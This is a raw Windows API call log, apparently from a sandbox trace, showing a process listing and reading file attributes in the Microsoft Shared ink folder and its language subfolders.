	[0050.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), fInfoLevelId=0x0, lpFileInformation=0x12670b48 | out: lpFileInformation=0x12670b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486)) returned 1
	[0050.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), fInfoLevelId=0x0, lpFileInformation=0x12670b98 | out: lpFileInformation=0x12670b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5)) returned 1
	[0050.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), fInfoLevelId=0x0, lpFileInformation=0x12670be8 | out: lpFileInformation=0x12670be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200)) returned 1
	[0050.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), fInfoLevelId=0x0, lpFileInformation=0x12670c38 | out: lpFileInformation=0x12670c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84)) returned 1
	[0050.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), fInfoLevelId=0x0, lpFileInformation=0x12670c88 | out: lpFileInformation=0x12670c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800)) returned 1
	[0050.819] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x12670cd8 | out: lpFileInformation=0x12670cd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.820] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.820] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.820] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.820] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IPSEventLogMsg.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipseventlogmsg.dll"), fInfoLevelId=0x0, lpFileInformation=0x12670d28 | out: lpFileInformation=0x12670d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1
	[0050.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), fInfoLevelId=0x0, lpFileInformation=0x12670d78 | out: lpFileInformation=0x12670d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400)) returned 1
	[0050.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), fInfoLevelId=0x0, lpFileInformation=0x12670dc8 | out: lpFileInformation=0x12670dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800)) returned 1
	[0050.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkWatson.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkwatson.exe"), fInfoLevelId=0x0, lpFileInformation=0x12670e18 | out: lpFileInformation=0x12670e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000)) returned 1
	[0050.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InputPersonalization.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inputpersonalization.exe"), fInfoLevelId=0x0, lpFileInformation=0x12670e68 | out: lpFileInformation=0x12670e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00)) returned 1
	[0050.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsMigrationPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsmigrationplugin.dll"), fInfoLevelId=0x0, lpFileInformation=0x12670eb8 | out: lpFileInformation=0x12670eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000)) returned 1
	[0050.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), fInfoLevelId=0x0, lpFileInformation=0x12670f08 | out: lpFileInformation=0x12670f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200)) returned 1
	[0050.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Microsoft.Ink.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\microsoft.ink.dll"), fInfoLevelId=0x0, lpFileInformation=0x12670f58 | out: lpFileInformation=0x12670f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000)) returned 1
	[0050.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), fInfoLevelId=0x0, lpFileInformation=0x12670fa8 | out: lpFileInformation=0x12670fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00)) returned 1
	[0050.825] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabIpsps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabipsps.dll"), fInfoLevelId=0x0, lpFileInformation=0x12670ff8 | out: lpFileInformation=0x12670ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00)) returned 1
	[0050.825] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TabTip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabtip.exe"), fInfoLevelId=0x0, lpFileInformation=0x12671048 | out: lpFileInformation=0x12671048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00)) returned 1
	[0050.826] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), fInfoLevelId=0x0, lpFileInformation=0x12671098 | out: lpFileInformation=0x12671098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41bbeec8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x41bbeec8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44c363f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1b000)) returned 1
	[0050.826] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), fInfoLevelId=0x0, lpFileInformation=0x126710e8 | out: lpFileInformation=0x126710e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d6a2945, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5d6a2945, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x18975da0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x85000)) returned 1
	[0050.826] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), fInfoLevelId=0x0, lpFileInformation=0x12671138 | out: lpFileInformation=0x12671138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.827] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.828] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.828] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.828] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.828] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.828] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126711d8 | out: lpFileInformation=0x126711d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
	[0050.828] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), fInfoLevelId=0x0, lpFileInformation=0x12671228 | out: lpFileInformation=0x12671228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.829] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.829] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.829] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.829] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.829] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126712c8 | out: lpFileInformation=0x126712c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), fInfoLevelId=0x0, lpFileInformation=0x12671318 | out: lpFileInformation=0x12671318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.830] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0050.830] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.830] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.830] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0x126713b8 | out: lpFileInformation=0x126713b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00)) returned 1
